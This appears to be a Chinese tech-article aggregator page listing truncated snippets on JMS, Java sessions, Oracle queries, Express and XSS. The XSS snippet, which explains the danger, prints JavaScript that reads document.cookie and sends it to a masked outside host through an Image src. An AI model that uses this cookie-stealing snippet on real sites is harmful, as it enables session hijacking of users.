JMS规范定义了2种消息传输模式:持久传送模式和非持久传输模式。发送者可以通过如下类似的代码进行设置
TopicPublisher publihser = session.createPublisher(topic);
// 设置持久化传输
publihser.setDeliveryMode(DeliveryMode.PERSISTENT);这种方式对publisher发送的所有消息都有效,相...
分类:
其他好文 时间:
2014-05-23 08:22:35
阅读次数:
276
项目名称:/sessionVerificationCode
项目目录:
项目源码:
index.jsp
Insert title here
验证码:
success.js...
分类:
其他好文 时间:
2014-05-22 11:17:05
阅读次数:
256
背景: 测试部门做压力测试, 结果没压多久,就出现OutOfMemory. 原因查找,通过监控工具,发现StandardSession(org.apache.catalina.session.StandardSession)对象不断增长,毫无疑问,肯定是在不断创建Session对象.备注:一般做压力测试,每次请求都不会指定JESSESIONID值,导致Web容器认为每次请求都是新的请求,于是创建...
分类:
其他好文 时间:
2014-05-22 09:24:28
阅读次数:
438
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。
如下js获取cookie信息:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.******.c...
分类:
其他好文 时间:
2014-05-22 08:24:14
阅读次数:
273
session
服务器用于缓存数据会话技术
默认情况:session依赖于cookie
对象HttpSession
1.session原理:
根据上图分析如下:
a.浏览器发送请求到服务器,并交给一个servlet进行处理。此时request.getSession()第一次创建session对象,将sessionId以cookie的方式发送给浏览器。同时在服务端会保存sessi...
分类:
编程语言 时间:
2014-05-22 08:08:44
阅读次数:
191
SELECT a.sid, a.serial#, b.sql_text FROM
v$session a, v$sqltext bWHERE a.sql_address = b.address AND a.sid =
&sidORDER BY b.piece
分类:
数据库 时间:
2014-05-22 05:13:59
阅读次数:
314
在各种关于NodeJS的教材中,必定会有关于express的介绍.express本身是一个很赞的库.在之前的express版本中,在全局模式安装(npm -g
install express)之后,在cmd命令行中,都可以使用express命令进行各种操作(创建简单的网站模板等).但是,现在安装后,...
分类:
其他好文 时间:
2014-05-22 05:02:31
阅读次数:
332
Evaluate the value of an arithmetic expression
inReverse Polish Notation.Valid operators are+,-,*,/. Each operand may be an
integer or another express...
分类:
其他好文 时间:
2014-05-22 00:49:57
阅读次数:
311
导航式搜索在实际网站开发中有很多应用,其实现原理也不复杂,关键是如何记忆所选的条件。常见的方式有存入session、存入数组等。本文采用的是AJAX+数组的方式,在不跳转,不刷新整个页面的条件下动态返回查询结果。效果图如下:1.search.jsp通过将所选的查询条件存入数组,通..
分类:
其他好文 时间:
2014-05-20 23:08:38
阅读次数:
372
web应用的会话技术:打开浏览器并访问网站,请求多个资源,关闭浏览器的过程。
在这个过程中,缓存用户数据常用的有两种技术:
1.cookie技术:用于在浏览器端,缓存用户的数据,可以理解为数据缓存在用户本地
2.session技术:用于在服务端,缓存用户的数据,可以理解为数据缓存在服务器。
cookie技术:
1.服务器需要缓存数据,将数据发给浏览器,浏览器对缓存数据进行存储;当浏览器再...
分类:
编程语言 时间:
2014-05-20 15:51:06
阅读次数:
289